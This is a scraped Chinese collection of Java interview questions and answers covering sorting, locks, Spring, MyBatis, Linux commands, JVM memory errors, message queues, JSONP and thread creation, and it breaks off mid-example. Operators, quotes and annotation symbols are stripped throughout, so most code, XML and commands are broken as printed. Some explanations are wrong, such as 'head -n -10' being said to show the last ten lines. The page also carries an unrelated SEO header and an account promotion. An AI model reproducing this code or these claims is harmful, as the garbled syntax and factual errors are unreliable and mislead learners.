网站用什么开发,域名和网站建设费如何入帐,支付网站设计,上海公司推荐**
接上篇-汇总大厂-校招/社招 Java面试题#xff08;补充#xff09;
**
markdown文件。持续更新中#xff08;阿里、腾讯、网易、美团、京东、华为、快手、字节…#xff09; 上面这篇也结合着看啊#xff0c;通宵给整理出来的。 如需下载整套资料。关注公众号后台。…**
接上篇-汇总大厂-校招/社招 Java面试题补充
**
markdown文件。持续更新中阿里、腾讯、网易、美团、京东、华为、快手、字节… 上面这篇也结合着看啊通宵给整理出来的。 如需下载整套资料。关注公众号后台。
回复java2024
冒泡排序
冒泡排序是一种简单的排序算法。
步骤
遍历比较相邻的两个元素被比较的左边元素大于右边元素则交换位置。第一轮遍历、比较、交换完最后一个是最大的元素若本次遍历中没有数据交换代表排序结束提前退出有数据交换则再从第一个元素开始遍历、比较、交换排除最后一个元素重复 1、2、3 步骤每次排除上次被遍历的最后一个元素直到排序完成
代码
package constxiong.interview;/*** 冒泡排序* author ConstXiong*/
public class BubbleSort {public static void main(String[] args) {int [] array {33, 22, 1, 4, 25, 88, 71, 4};bubbleSort(array);}/*** 冒泡排序* param array*/public static void bubbleSort(int[] array) {print(array);for (int i 0; i array.length; i) {//提前退出冒泡循环的标志boolean hasSwitch false;//因为使用 j 和 j1 的下标进行比较所以 j 的最大值为数组长度 - 2for (int j 0; j array.length - (i1); j) {if (array[j] array[j 1]) {int temp array[j 1];array[j1] array[j];array[j] temp;hasSwitch true;//有数据交换print(array);}}//没有数据交换退出循环if (!hasSwitch) {break;}}}/*** 打印数组* param array*/private static void print(int[] array) {for(int i : array) {System.out.print(i );}System.out.println();}}打印结果
33 22 1 4 25 88 71 4
22 33 1 4 25 88 71 4
22 1 33 4 25 88 71 4
22 1 4 33 25 88 71 4
22 1 4 25 33 88 71 4
22 1 4 25 33 71 88 4
22 1 4 25 33 71 4 88
1 22 4 25 33 71 4 88
1 4 22 25 33 71 4 88
1 4 22 25 33 4 71 88
1 4 22 25 4 33 71 88
1 4 22 4 25 33 71 88
1 4 4 22 25 33 71 88特征
每一轮遍历中的数最大的会被移动到最右边最好情况时间复杂度O(n) 。即数组本身有序如 12345最坏情况时间复杂度O(n2) 。即数组本身完全逆序如 54321平均情况下的时间复杂度是 O(n2)。最好情况下进行 0 次交换最坏情况下进行 n*(n-1)/2 次交换平均就是 n*(n-1)/2 次交换比较操作肯定多于交换操作上限 O(n2)不严格地推断平均情况下的时间复杂度就是 O(n2)空间复杂度 O(1)。除了数组内存只额外申请了一个 temp 变量。是一个原地排序算法。是稳定的排序算法。即代码示例中第一个 4 和第二个 4一定未发生位置变换。
synchronized和ReentrantLock区别是什么
synchronized 竞争锁时会一直等待ReentrantLock 可以尝试获取锁并得到获取结果synchronized 获取锁无法设置超时ReentrantLock 可以设置获取锁的超时时间synchronized 无法实现公平锁ReentrantLock 可以满足公平锁即先等待先获取到锁synchronized 控制等待和唤醒需要结合加锁对象的 wait() 和 notify()、notifyAll()ReentrantLock 控制等待和唤醒需要结合 Condition 的 await() 和 signal()、signalAll() 方法synchronized 是 JVM 层面实现的ReentrantLock 是 JDK 代码层面实现synchronized 在加锁代码块执行完或者出现异常自动释放锁ReentrantLock 不会自动释放锁需要在 finally{} 代码块显示释放
补充一个相同点都可以做到同一线程同一把锁可重入代码块。
spring mvc有哪些组件
前端控制器DispatcherServlet处理器映射器HandlerMapping处理器适配器HandlerAdapter拦截器HandlerInterceptor语言环境处理器LocaleResolver主题解析器ThemeResolver视图解析器ViewResolver文件上传处理器MultipartResolver异常处理器HandlerExceptionResolver数据转换DataBinder消息转换器HttpMessageConverter请求转视图翻译器RequestToViewNameTranslator页面跳转参数管理器FlashMapManager处理程序执行链HandlerExecutionChain
linux指令-kill
删除执行中的程序或工作发送指定的信号到相应进程 不指定信号将发送 SIGTERM(15) 终止指定进程 用 “-KILL” 参数发送信号 SIGKILL(9) 强制结束进程
常用参数
-l 信号若果不加信号的编号参数则使用-l参数会列出全部的信号名称
-a 当处理当前进程时不限制命令名和进程号的对应关系
-p 指定 kill 命令只打印相关进程的进程号而不发送任何信号
-s 指定发送信号
-u 指定用户kill -l 显示信号
kill -KILL 8878 强制杀死进程 8878
kill -9 8878 彻底杀死进程 8878
kill -u tomcat 杀死 tomcat 用户的进程MyBatis 如何编写一个自定义插件
先看如何自定义一个插件
1、新建类实现 Interceptor 接口并指定想要拦截的方法签名
/*** MyBatis 插件*/
Intercepts({Signature(type Executor.class, method query, args {MappedStatement.class, Object.class, RowBounds.class, ResultHandler.class})})
public class ExamplePlugin implements Interceptor {Overridepublic Object intercept(Invocation invocation) throws Throwable {for (Object arg : invocation.getArgs()) {System.out.println(参数 arg);}System.out.println(方法 invocation.getMethod());System.out.println(目标对象 invocation.getTarget());Object result invocation.proceed();//只获取第一个数据if (result instanceof List){System.out.println(原集合数据 result);System.out.println(只获取第一个对象);List list (List)result;return Arrays.asList(list.get(0));}return result;}
}2、MyBatis 配置文件中添加该插件
pluginsplugin interceptorconstxiong.plugin.ExamplePlugin/plugin
/plugins测试代码
System.out.println(------userMapper.deleteUsers()------);
//删除 user
userMapper.deleteUsers();System.out.println(------userMapper.insertUser()------);
//插入 user
for (int i 1; i 5; i) {userMapper.insertUser(new User(i, ConstXiong i));
}System.out.println(------userMapper.selectUsers()------);
//查询所有 user
ListUser users userMapper.selectUsers();
System.out.println(users);打印结果
------userMapper.deleteUsers()------
------userMapper.insertUser()------
------userMapper.selectUsers()------
参数org.apache.ibatis.mapping.MappedStatement58c1c010
参数null
参数org.apache.ibatis.session.RowBoundsb7f23d9
参数null
方法public abstract java.util.List org.apache.ibatis.executor.Executor.query(org.apache.ibatis.mapping.MappedStatement,java.lang.Object,org.apache.ibatis.session.RowBounds,org.apache.ibatis.session.ResultHandler) throws java.sql.SQLException
目标对象org.apache.ibatis.executor.CachingExecutor61d47554
原集合数据[User{id1, nameConstXiong1, mcnull}, User{id2, nameConstXiong2, mcnull}, User{id3, nameConstXiong3, mcnull}, User{id4, nameConstXiong4, mcnull}, User{id5, nameConstXiong5, mcnull}]
只获取第一个对象
[User{id1, nameConstXiong1, mcnull}]插件功能的官网说明 MyBatis 允许你在映射语句执行过程中的某一点进行拦截调用。默认情况下MyBatis 允许使用插件来拦截的方法调用包括 Executor (update, query, flushStatements, commit, rollback, getTransaction, close, isClosed)ParameterHandler (getParameterObject, setParameters)ResultSetHandler (handleResultSets, handleOutputParameters)StatementHandler (prepare, parameterize, batch, update, query) 完整 Demo
https://www.javanav.com/val/a5535343f9b545eda9665f03d62345ba.html
PSMyBatis 分页插件 PagerHelper就是一个很好的插件学习例子。
OutOfMemoryError的原因有哪些怎么解决
OutOfMemoryError 分为多种不同的错误
Java heap space
原因JVM 中 heap 的最大值不满足需要 解决 调高 heap 的最大值-Xmx 的值调大 如果程序存在内存泄漏增加 heap 空间也只是推迟该错误出现的时间而已要检查程序是否存在内存泄漏
GC overhead limit exceeded
原因JVM 在 GC 时对象过多导致内存溢出 解决调整 GC 的策略在一定比例下开始GC而不使用默认的策略或将新代和老代设置合适的大小可以微调存活率。如在老代 80% 时就是开始GC并且将 -XX:SurvivorRatio-XX:SurvivorRatio8和-XX:NewRatio-XX:NewRatio4设置的更合理
Java perm space
原因JVM 中 perm 的最大值不满足需要perm 一般是在 JVM 启动时加载类进来 解决调高 heap 的最大值即 -XX:MaxPermSize 的值调大解决。如果 JVM 运行较长一段时间而不是刚启动后溢出的话很有可能是由于运行时有类被动态加载此时可以用 CMS 策略中的类卸载配置解决如-XX:UseConcMarkSweepGC -XX:CMSClassUnloadingEnabled
unable to create new native thread
原因当 JVM 向系统请求创建一个新线程时系统内存不足无法创建新的 native 线程 解决JVM 内存调的过大或者可利用率小于 20%可以将 heap 及 perm 的最大值下调并将线程栈内存 -Xss 调小如-Xss128k
Requested array size exceeds VM limit
原因应用程序试图分配一个大于堆大小的数组 解决 检查 heap 的 -Xmx 是不是设置的过小 heap 的 -Xmx 已经足够大检查应用程序是不是存在 bug 计算数组的大小时存在错误导致数组的 length 很大从而导致申请巨大的数组
request XXX bytes for XXX. Out of swap space
原因从 native 堆中分配内存失败并且堆内存可能接近耗尽操作系统配置了较小的交换区其他进程消耗所有的内存 解决检查操作系统的 swap 是不是没有设置或者设置的过小检查是否有其他进程在消耗大量的内存导致 JVM 内存不够分配
linux指令-head
显示开头或结尾命令 head 用来显示档案的开头至标准输出中默认 head 命令打印文件的开头 10 行
常用参数
-n 行数 显示的行数行数为负数表示从最后向前数head 1og.log -n 20 显示 1og.log 文件中前 20 行
head -c 20 log.log 显示 1og.log 文件前 20 字节
head -n -10 1og.log 显示 1og.log 最后 10 行servlet的生命周期
servlet 的生命周期
初始化阶段调用 init() 方法响应客户请求阶段每个 servlet 请求都会调用 servlet 对象的 service() 方法且传递请求对象 ServletRequest、响应对象 ServletResponse 参数终止阶段调用 destroy() 方法
Dubbo支持哪些序列化方式?
Hessian 序列化是修改过的 hessian lite默认启用json 序列化使用 FastJson 库java 序列化JDK 提供的序列化性能不理想dubbo 序列化未成熟的高效 java 序列化实现不建议在生产环境使用
JDK中Atomic开头的原子类实现原子性的原理是什么
JDK Atomic开头的类是通过 CAS 原理解决并发情况下原子性问题。CAS 包含 3 个参数CAS(V, E, N)。V 表示需要更新的变量E 表示变量当前期望值N 表示更新为的值。只有当变量 V 的值等于 E 时变量 V 的值才会被更新为 N。如果变量 V 的值不等于 E 说明变量 V 的值已经被更新过当前线程什么也不做返回更新失败。当多个线程同时使用 CAS 更新一个变量时只有一个线程可以更新成功其他都失败。失败的线程不会被挂起可以继续重试 CAS也可以放弃操作。CAS 操作的原子性是通过 CPU 单条指令完成而保障的。JDK 中是通过 Unsafe 类中的 API 完成的。在并发量很高的情况会有大量 CAS 更新失败所以需要慎用。
未使用原子类测试代码
package constxiong.interview;/*** JDK 原子类测试* author ConstXiong* date 2019-06-11 11:22:01*/
public class TestAtomic {private int count 0;public int getAndIncrement() {return count;}// private AtomicInteger count new AtomicInteger(0);
//
// public int getAndIncrement() {
// return count.getAndIncrement();
// }public static void main(String[] args) {final TestAtomic test new TestAtomic();for (int i 0; i 3; i) {new Thread(){Overridepublic void run() {for (int j 0; j 10; j) {try {Thread.sleep(100);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(Thread.currentThread().getName() 获取递增值 test.getAndIncrement());}}}.start();}}}打印结果中包含重复值
Thread-0 获取递增值1
Thread-2 获取递增值2
Thread-1 获取递增值0
Thread-0 获取递增值3
Thread-2 获取递增值3
Thread-1 获取递增值3
Thread-2 获取递增值4
Thread-0 获取递增值5
Thread-1 获取递增值5
Thread-1 获取递增值6
Thread-2 获取递增值8
Thread-0 获取递增值7
Thread-1 获取递增值9
Thread-0 获取递增值10
Thread-2 获取递增值10
Thread-0 获取递增值11
Thread-2 获取递增值13
Thread-1 获取递增值12
Thread-1 获取递增值14
Thread-0 获取递增值14
Thread-2 获取递增值14
Thread-1 获取递增值15
Thread-2 获取递增值15
Thread-0 获取递增值16
Thread-1 获取递增值17
Thread-0 获取递增值19
Thread-2 获取递增值18
Thread-0 获取递增值20
Thread-1 获取递增值21
Thread-2 获取递增值22测试代码修改为原子类
package constxiong.interview;import java.util.concurrent.atomic.AtomicInteger;/*** JDK 原子类测试* author ConstXiong* date 2019-06-11 11:22:01*/
public class TestAtomic {// private int count 0;
//
// public int getAndIncrement() {
// return count;
// }private AtomicInteger count new AtomicInteger(0);public int getAndIncrement() {return count.getAndIncrement();}public static void main(String[] args) {final TestAtomic test new TestAtomic();for (int i 0; i 3; i) {new Thread(){Overridepublic void run() {for (int j 0; j 10; j) {try {Thread.sleep(100);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(Thread.currentThread().getName() 获取递增值 test.getAndIncrement());}}}.start();}}}打印结果中不包含重复值
Thread-0 获取递增值1
Thread-2 获取递增值2
Thread-1 获取递增值0
Thread-0 获取递增值3
Thread-1 获取递增值4
Thread-2 获取递增值5
Thread-0 获取递增值6
Thread-1 获取递增值7
Thread-2 获取递增值8
Thread-0 获取递增值9
Thread-2 获取递增值10
Thread-1 获取递增值11
Thread-0 获取递增值12
Thread-1 获取递增值13
Thread-2 获取递增值14
Thread-0 获取递增值15
Thread-1 获取递增值16
Thread-2 获取递增值17
Thread-0 获取递增值18
Thread-1 获取递增值19
Thread-2 获取递增值20
Thread-0 获取递增值21
Thread-2 获取递增值23
Thread-1 获取递增值22
Thread-0 获取递增值24
Thread-1 获取递增值25
Thread-2 获取递增值26
Thread-0 获取递增值27
Thread-2 获取递增值28
Thread-1 获取递增值29linux指令-grep
文本搜索命令grep 是 Global Regular Expression Print 的缩写全局正则表达式搜索
grep 在一个或多个文件中搜索字符串模板。如果模板包括空格则必须使用引号模板后的所有字符串被看作文件名搜索的结果被送到标准输出不影响原文件内容。
命令格式grep [option] pattern file|dir常用参数
-A n --after-context显示匹配字符后n行
-B n --before-context显示匹配字符前n行
-C n --context 显示匹配字符前后n行
-c --count 计算符合样式的列数
-i 忽略大小写
-l 只列出文件内容符合指定的样式的文件名称
-f 从文件中读取关键词
-n 显示匹配内容的所在文件中行数
-R 递归查找文件夹grep 的规则表达式:
^ 锚定行的开始 如^log匹配所有以 log 开头的行。
$ 锚定行的结束 如log$匹配所有以 log 结尾的行。
. 匹配一个非换行符的字符l.g 匹配 l非换行字符g如log
* 匹配零个或多个先前字符 如*log 匹配所有一个或多个空格后紧跟 log 的行
.* 一起用代表任意字符
[] 匹配一个指定范围内的字符如[Ll]og 匹配 Log 和 log
[^] 匹配一个不在指定范围内的字符如[^A-FH-Z]og 匹配不包含 A-F 和 H-Z 的一个字母开头紧跟 log 的行
\(..\) 标记匹配字符如\(log\)log 被标记为 1
\ 锚定单词的开始如\log 匹配包含以 log 开头的单词的行
\ 锚定单词的结束如log\ 匹配包含以 log 结尾的单词的行
x\{m\} 重复字符 xm 次如a\{5\} 匹配包含 5 个 a 的行
x\{m,\} 重复字符 x至少 m 次如a\{5,\} 匹配至少有 5 个 a 的行
x\{m,n\} 重复字符 x至少 m 次不多于 n 次如a\{5,10\} 匹配 5 到 10 个 a 的行
\w 匹配文字和数字字符也就是[A-Za-z0-9]如l\w*g匹配 l 后跟零个或多个字母或数字字符加上字符 p
\W \w 的取反匹配一个或多个非单词字符如 , .
\b 单词锁定符如: \blog\b 只匹配 log如何保证MQ的高可用?
ActiveMQ
Master-Slave 部署方式主从热备方式包括通过共享存储目录来实现(shared filesystem Master-Slave)、通过共享数据库来实现(shared database Master-Slave)、5.9版本后新特性使用 ZooKeeper 协调选择 master(Replicated LevelDB Store)。
Broker-Cluster 部署方式进行负载均衡。
RabbitMQ
单机模式与普通集群模式无法满足高可用镜像集群模式指定多个节点复制 queue 中的消息做到高可用但消息之间的同步网络性能开销较大。
RocketMQ
有多 master 多 slave 异步复制模式和多 master 多 slave 同步双写模式支持集群部署模式。
Producer 随机选择 NameServer 集群中的其中一个节点建立长连接定期从 NameServer 获取 Topic 路由信息并向提供 Topic 服务的 Broker Master 建立长连接且定时向 Master 发送心跳只能将消息发送到 Broker master。
Consumer 同时与提供 Topic 服务的 Master、Slave 建立长连接从 Master、Slave 订阅消息都可以订阅规则由 Broker 配置决定。
Kafka
由多个 broker 组成每个 broker 是一个节点topic 可以划分为多个 partition每个 partition 可以存在于不同的 broker 上每个 partition 存放一部分数据这样每个 topic 的数据就分散存放在多个机器上的。
replica 副本机制保证每个 partition 的数据同步到其他节点形成多 replica 副本所有 replica 副本会选举一个 leader 与 Producer、Consumer 交互其他 replica 就是 follower写入消息 leader 会把数据同步到所有 follower从 leader 读取消息。
每个 partition 的所有 replica 分布在不同的机器上。某个 broker 宕机它上面的 partition 在其他节点有副本如果有 partition 的 leader会进行重新选举 leader。
BeanFactory 和 ApplicationContext 有什么区别
BeanFactory 是 Spring IoC 容器的底层实现 ApplicationContext 拥有 BeanFactory 的所有能力还提供了
Easier integration with Spring’s AOP featuresMessage resource handling (for use in internationalization)Event publicationApplication-layer specific contexts such as the WebApplicationContext for use in web applications
摘自
https://docs.spring.io/spring-framework/docs/5.2.2.RELEASE
即更易集成 aop 特性、消息资源处理(国际化)、事件发布、应用程序层面特定的上下文如 WebApplicationContext。
除了以上细节上还包括
BeanFactory 在启动的时候不会去实例化 bean从容器中拿 bean 时才会去实例化ApplicationContext 在启动时就把所有的 bean 全部实例化了BeanPostProcessor、BeanFactoryPostProcessor 接口的注册BeanFactory 需要手动注册ApplicationContext 则是自动 等…
总之ApplicationContext 是具备应用特性的 BeanFactory 超集。
什么是JDK
1、Java Development KitJava 开发工具包的缩写。用于 java 程序的开发提供给程序员使用 2、使用 Java 语言编程都需要在计算机上安装一个 JDK 3、JDK 的安装目录 5 个文件夹、一个 src 类库源码压缩包和一些说明文件 bin各种命令工具 java 源码的编译器 javac、监控工具 jconsole、分析工具 jvisualvm 等 include与 JVM 交互C语言用的头文件 lib类库 jreJava 运行环境 db安装 Java DB 的路径 src.zipJava 所有核心类库的源代码 jdk1.8 新加了 javafx-src.zip 文件存放 JavaFX 脚本JavaFX 是一种声明式、静态类型编程语言
索引如何创建与删除
创建单个字段索引的语法CREATE INDEX 索引名 on 表名(字段名)创建联合索引的语法CREATE INDEX 索引名 on 表名(字段名1字段名2)索引命名格式一般可以这样idx_表名_字段名。注意有长度限制删除索引DROP INDEX 索引名 ON 表名
如
给 id 创建索引CREATE INDEX idx_t1_id on t1(id);
给 username 和 password 创建联合索引CREATE index idx_t1_username_password ON t1(username,password)
index 替换成 unique 或 primary key分别代表唯一索引和主键索引
HTML、CSS、Javascript在Web开发中的作用
HTML:Hyper Text Markup Language超文本标记语言是用来描述网页的一种语言CSS:Cascading Style Sheets层叠样式表控制如何显示 HTML 元素JavaScript一种脚本语言脚本代码无需编译在浏览器或 JS 容器可以直接解释执行
在页面中
HTML 定义结构CSS 控制显示样式JavaScript 给页面加入各种操作和交互动作
Spring 中如何配置 MyBatis
单纯使用 spring-context 和 spring-jdbc 集成 MyBatis配置步骤
加载 spring-context、spring-jdbc、MyBatis、MyBatis-Spring 的 jar 包spring 集成 MyBatis 的 xml 配置文件配置 dataSource、sqlSessionFactory、Mapper 接口包扫描路径Mapper 接口代理 bean 直接从 spring ioc 容器中获得使用即可
最核心的就是 spring 的配置文件如下
?xml version1.0 encodingutf-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context-4.3.xsdcontext:property-placeholder locationclasspath:db.properties ignore-unresolvabletrue /bean iddataSource classorg.apache.ibatis.datasource.pooled.PooledDataSource!-- 基本属性 url、user、password --property namedriver value${jdbc_driver} /property nameurl value${jdbc_url}/property nameusername value${jdbc_username}/property namepassword value${jdbc_password}//bean!-- spring 和 Mybatis整合 --bean idsqlSessionFactory classorg.mybatis.spring.SqlSessionFactoryBeanproperty namedataSource refdataSource/property namemapperLocations valueclasspath:constxiong/mapper/*.xml //bean!-- DAO接口所在包配置自动扫描 --bean classorg.mybatis.spring.mapper.MapperScannerConfigurerproperty namebasePackage valueconstxiong.mapper//bean/beans完整 Demo:
https://javanav.com/val/687c224b31a34d3c9f99fee67e3d5bcc.html
tcp和udp的区别
TCP/IP 协议是一个协议簇包括很多协议。命名为 TCP/IP 协议的原因是 TCP 和 IP 这两个协议非常重要应用很广。 TCP 和 UDP 都是 TCP/IP 协议簇里的一员。
TCPTransmission Control Protocol 的缩写即传输控制协议。
面向连接即必须在双方建立可靠连接之后才会收发数据信息包头 20 个字节建立可靠连接需要经过3次握手断开连接需要经过4次挥手需要维护连接状态报文头里面的确认序号、累计确认及超时重传机制能保证不丢包、不重复、按序到达拥有流量控制及拥塞控制的机制
UDPUser Data Protocol 的缩写即用户数据报协议。
不建立可靠连接无需维护连接状态信息包头 8 个字节接收端UDP 把消息段放在队列中应用程序从队列读消息不受拥挤控制算法的调节传送数据的速度受应用软件生成数据的速率、传输带宽、源端和终端主机性能的限制面向数据报不保证接收端一定能收到
Java中的Socket是什么
Socket 也称作套接字用于描述 IP 地址和端口是一个通信链的句柄是应用层与传输层之间的桥梁应用程序可以通过 Socket 向网络发出请求或应答网络请求网络应用程序位于应用层TCP 和 UDP 属于传输层协议在应用层和传输层之间使用 Socket 来进行连接Socket 是传输层供给应用层的编程接口Socket 编程可以开发客户端和服务器应用程序可以在本地网络上进行通信也可通过公网 Internet 在通信
Spring 的隔离级别
隔离级别
ISOLATION_DEFAULTPlatfromTransactionManager 默认隔离级别使用数据库默认的事务隔离级别。ISOLATION_READ_UNCOMMITTED读未提交允许事务在执行过程中读取其他事务未提交的数据。ISOLATION_READ_COMMITTED读已提交允许事务在执行过程中读取其他事务已经提交的数据。ISOLATION_REPEATABLE_READ可重复读在同一个事务内任意时刻的查询结果都是一致的。ISOLATION_SERIALIZABLE最严格的事务序列化执行。
源码见 Isolation 枚举。
同步代码块和同步方法有什么区别
同步方法就是在方法前加关键字 synchronized同步代码块则是在方法内部使用 synchronized加锁对象相同的话同步方法锁的范围大于等于同步方法块。一般加锁范围越大性能越差同步方法如果是 static 方法等同于同步方法块加锁在该 Class 对象上
谈谈对 OOM 的认识
除了程序计数器其他内存区域都有 OOM 的风险。
栈一般经常会发生 StackOverflowError。栈发生 OOM 的场景如 32 位的 windows 系统单进程限制 2G 内存无限创建线程就会发生栈的 OOMJava 8 常量池移到堆中溢出会出 java.lang.OutOfMemoryError: Java heap space设置最大元空间大小参数无效堆内存溢出报错同上这种比较好理解GC 之后无法在堆中申请内存创建对象就会报错方法区 OOM经常会遇到的是动态生成大量的类、jsp 等直接内存 OOM涉及到 -XX:MaxDirectMemorySize 参数和 Unsafe 对象对内存的申请
Queue的remove()和poll()方法有什么区别
Queue 中 remove() 和 poll() 都是用来从队列头部删除一个元素。在队列元素为空的情况下remove() 方法会抛出NoSuchElementException异常poll() 方法只会返回 null 。
JDK1.8 中的源码解释
/*** Retrieves and removes the head of this queue. This method differs* from {link #poll poll} only in that it throws an exception if this* queue is empty.** return the head of this queue* throws NoSuchElementException if this queue is empty*/
E remove();/*** Retrieves and removes the head of this queue,* or returns {code null} if this queue is empty.** return the head of this queue, or {code null} if this queue is empty*/
E poll();缓冲流的优缺点
不带缓冲的流读取到一个字节或字符就直接写出数据带缓冲的流读取到一个字节或字符先不输出等达到了缓冲区的最大容量再一次性写出去
优点减少了写出次数提高了效率
缺点接收端可能无法及时获取到数据
LIKE 后的和_代表什么 代表 0 或更多字符_ 代表 1 个字符
int(10)、char(16)、varchar(16)、datetime、text的意义
int(10) 表示字段是 INT 类型显示长度是 10char(16)表示字段是固定长度字符串长度为 16varchar(16) 表示字段是可变长度字符串长度为 16datetime 表示字段是时间类型text 表示字段是字符串类型能存储大字符串最多存储 65535 字节数据
谈谈 JVM 中的常量池
JDK 1.8 开始
字符串常量池存放在堆中包括 String 对象执行 intern() 方法后存的地方、双引号直接引用的字符串运行时常量池存放在方法区属于元空间是类加载后的一些存储区域大多数是类中 constant_pool 的内容类文件常量池constant_poolJVM 定义的概念
基本类型和包装类的区别
基本类型只有值而包装类型则具有与它们的值不同的同一性即值相同但不是同一个对象包装类型比基本类型多了一个非功能值null基本类型通常比包装类型更节省时间和空间速度更快但有些情况包装类型的使用会更合理
泛型不支持基本类型作为集合中的元素、键和值直接使用包装类否则会发生基本类型的自动装箱消耗性能。如只能写 ArrayList不能写 List在进行反射方法的调用时
补充两者之间的转换存在自动装/拆箱可以提一下。
不同 Mapper XML 文件中 id 是否可以相同
新版本 Mapper XML mapper 标签的 namespace 参数值不能为空两个 Mapper XML mapper 标签的 namespace 参数值相同id 不可以相同。否则提示异常 Mapped Statements collection already contains value两个 Mapper XML mapper 标签的 namespace 参数值不同id 可以相同从源码实现上看namespace.id 是 MappedStatement 对象的 id 属性MappedStatement 对象的 id 属性作为 keyMappedStatement 对象作为 value 保存在 Configuration 对象的 mappedStatements Map 中即 namespace.id 是方法对应 SQL 的唯一标识
Class类的getDeclaredFields()与getFields()方法的区别
getDeclaredFields(): 获取所有本类自己声明的属性, 不能获取父类和实现的接口中的属性getFields(): 只能获取所有 public 声明的属性, 包括获取父类和实现的接口中的属性
测试代码
package constxiong.interview;import java.lang.reflect.Field;/*** 测试通过 Class 获取字段* author ConstXiong*/
public class TestGetFields extends TestGetFieldsSub implements TestGetFieldsInterface{private String privateFieldSelf;protected String protectedFieldSelf;String defaultFieldSelf;public String publicFieldSelf;public static void main(String[] args) {System.out.println(-------- getFields --------);for (Field field : TestGetFields.class.getFields()) {System.out.println(field.getName());}System.out.println(-------- getDeclaredFields --------);for (Field field : TestGetFields.class.getDeclaredFields()) {System.out.println(field.getName());}}
}class TestGetFieldsSub {private String privateField;protected String protectedField;String defaultField;public String publicField;
}interface TestGetFieldsInterface {String interfaceField ;
}打印
-------- getFields --------
publicFieldSelf
interfaceField
publicField
-------- getDeclaredFields --------
privateFieldSelf
protectedFieldSelf
defaultFieldSelf
publicFieldSelf什么是JSONP
JSONP 是 JSON with Padding 的略称。 它是一个非官方的协议允许在服务器端集成Script tags返回至客户端通过 javascript callback 的形式实现跨域访问。
产生的背景
浏览器限制 ajax 跨域请求json 格式数据被浏览器原生支持
1、开发一个 servlet 根据参数返回学生信息的数据。把 callback 参数作为 js 的函数调用
package constxiong;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;/*** jsonp servlet* author ConstXiong* date 2019-07-03 09:56:37*/
WebServlet(/jsonp)
public class JsonpServlet extends HttpServlet {private static final long serialVersionUID 1L;public JsonpServlet() {super();}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {StringBuilder jsonp new StringBuilder();String sid request.getParameter(sid);String function request.getParameter(callback);jsonp.append(function).append(();jsonp.append(getStudent(sid));jsonp.append());response.getWriter().write(jsonp.toString());}/*** 根据学号获取学生信息* param sid* return*/private String getStudent(String sid) {String student null;if (1.equals(sid)) {student {sid:1, name:ConstXiong};}return student;}protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {}}请求
http://localhost:8081/web/jsonp?sid1callbackaaa返回
aaa({sid:1, name:ConstXiong})2、修改 hosts 文件模拟跨域访问。本机 win7 操作系统修改 C:\Windows\System32\drivers\etc\hosts
最后一行添加
127.0.0.1 www.aaa.com访问模拟跨域url
http://www.aaa.com:8081/web/jsonp?sid1callbackalertStudent返回
alertStudent({sid:1, name:ConstXiong})3、添加 html 页面测试后台返回的 js 是否能调用到 html 中 js 定义 的 alertStudent 方法
!DOCTYPE html
html
head
meta charsetUTF-8
titlejsonp test/title
/head
body
script//学生idvar sid 1;//定义函数显示学生信息var alertStudent function(data) {if (data null) {alert(没有该学生信息);} else {alert(学号 data.sid , 姓名 data.name);}}//动态生成 script 标签后端调用 alertStudent 函数var script document.createElement(script);script.src http://www.aaa.com:8081/web/jsonp?sidsid callbackalertStudent;document.getElementsByTagName(head)[0].appendChild(script);
/script
/body
/html访问页面能够显示出学生信息 注意事项
ajax 是通过 XmlHttpRequest 方式进行请求JSONP 的核心是动态添加
如何创建、启动 Java 线程
Java 中有 4 种常见的创建线程的方式。
一、重写 Thread 类的 run() 方法。
表现形式有两种**1new Thread 对象匿名重写 run() 方法**package constxiong.concurrency.a006;/*** new Thread 对象匿名重写 run() 方法启动线程* author ConstXiong*/
public class TestNewThread {public static void main(String[] args) {//创建线程 t, 重写 run() 方法new Thread(t) {Overridepublic void run() {for (int i 0; i 3; i) {System.out.println(thread t i);}}}.start();}}执行结果
thread t 0
thread t 1
thread t 2** 2继承 Thread 对象重写 run() 方法**package constxiong.concurrency.a006;/*** 继承 Thread 类重写 run() 方法* author ConstXiong*/
public class TestExtendsThread {public static void main(String[] args) {new ThreadExt().start();}}//ThreadExt 继承 Thread重写 run() 方法
class ThreadExt extends Thread {Overridepublic void run() {for (int i 0; i 3; i) {System.out.println(thread t i);}}}执行结果
thread t 0
thread t 1
thread t 2二、实现 Runnable 接口重写 run() 方法。
表现形式有两种**1new Runnable 对象匿名重写 run() 方法**package constxiong.concurrency.a006;/*** new Runnalbe 对象匿名重写 run() 方法启动线程* author ConstXiong*/
public class TestNewRunnable {public static void main(String[] args) {newRunnable();}public static void newRunnable() {//创建线程 t1, 重写 run() 方法new Thread(new Runnable() {Overridepublic void run() {for (int i 0; i 3; i) {System.out.println(thread t1 i);try {Thread.sleep(1000L);} catch (InterruptedException e) {e.printStackTrace();}}}}, t1).start();//创建线程 t2, lambda 表达式设置线程的执行代码//JDK 1.8 开始支持 lambda 表达式new Thread(() - {for (int i 0; i 3; i) {System.out.println(thread t2 i);try {Thread.sleep(1000L);} catch (InterruptedException e) {e.printStackTrace();}}}, t2).start();}
}执行结果
thread t1 0
thread t2 0
thread t1 1
thread t2 1
thread t1 2
thread t2 22实现 Runnable 接口重写 run() 方法package constxiong.concurrency.a006;/*** 实现 Runnable 接口重写 run() 方法* author ConstXiong*/
public class TestImplRunnable {public static void main(String[] args) {new Thread(new RunnableImpl()).start();}
}///RunnableImpl 实现 Runnalbe 接口重写 run() 方法
class RunnableImpl implements Runnable {Overridepublic void run() {for (int i 0; i 3; i) {System.out.println(thread t i);}}}执行结果
thread t 0
thread t 1
thread t 2三、实现 Callable 接口使用 FutureTask 类创建线程
package constxiong.concurrency.a006;import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.FutureTask;/*** 实现 Callable 接口使用 FutureTask 类创建线程* author ConstXiong*/
